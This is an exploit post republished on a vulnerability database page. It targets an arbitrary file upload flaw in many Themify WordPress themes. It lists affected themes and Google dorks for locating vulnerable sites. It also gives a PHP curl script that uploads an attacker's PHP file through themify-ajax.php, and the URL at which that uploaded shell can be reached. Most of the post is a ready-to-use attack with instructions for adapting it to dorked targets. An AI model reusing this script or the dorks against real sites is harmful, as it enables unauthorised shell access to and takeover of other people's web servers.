Lucene search
K

Wordpress Themify Arbitrary File Upload Vulnerability

🗓️ 31 Mar 2014 00:00:00Reported by Jje IncoversType 
zdt
 zdt
🔗 0day.today👁 107 Views

Wordpress Themify Arbitrary File Upload Vulnerability on select themes, allowing remote attackers to upload arbitrary files and gain shell access

Code
#Title : Wordpress Themify Arbitrary File Upload Vulnerability
#Author : Jje Incovers
#Date : 31/03/2014
#Category : Web Applications
#Type : TXT, PHP, HTML, HTM, ASP, Etc.
#Vendor : http://themify.me/
#Download : http://themify.me/themes
#Tested : Mozila, Chrome, Opera -> Windows & Linux
#Vulnerabillity : File Upload
#Scanning Theme : [ Flatshop, Magazine , Flat Flat , Parallax , Bold, Metro , Pinshop , Agency , Slide , Postline , Fullscreen , Pinboard , Shopo , Minshop , Notes , ShopDock , PhotoTouch , Basic , Responz , Simfo , Grido , Tisa , Suco , Elemin , Folo , Funki , Minblr , iTheme2 , Newsy , Wumblr , Rezo , Photobox , Edmin , Koi , Bizco , ThemeMin , Wigi , Blogfolio , Sidepane , Bloggie ]

#Dork :
inurl:"/wp-content/themes/Elemin/"
inurl:"/wp-content/themes/Bloggie/"
inurl:"/wp-content/themes/Tisa/"
inurl:"/wp-content/themes/Funki/"
inurl:"/wp-content/themes/Pinboard/"
inurl:"/wp-content/themes/FOlo/"
inurl:"/wp-content/themes/grido/"
inurl:"/wp-content/themes/Suco/"
inurl:"/wp-content/themes/iThemes2/"

Arbitrary File Upload

Exploit : /wp-content/themes/select a theme/themify/themify-ajax.php

Example :

Elemin theme :
http://yourtarget.com/wp-content/themes/elemin/themify/themify-ajax.php

Script :

<?php
$uploadfile="inc0vers.php";
$ch = curl_init("http://127.0.0.1/wp-content/themes/elemin/themify/themify-ajax.php?upload=1");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

Shell Access :

http://yourtarget.com/wp-content/themes/select a theme/uploads/your file

Example :

Elemin theme :
http://yourtarget.com/wp-content/themes/elemin/uploads/inc0vers.php

Note :
Change theme in the script equate with your dork !!

----------------------------"

########################################
#Greetz : SANJUNGAN JIWA , All Indonesian H4xor
#Thanks : All member Sanjungan Jiwa , MrTieDie , Co-p1r3 , Jje Incovers , Ice-Cream
########################################

#  0day.today [2018-01-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation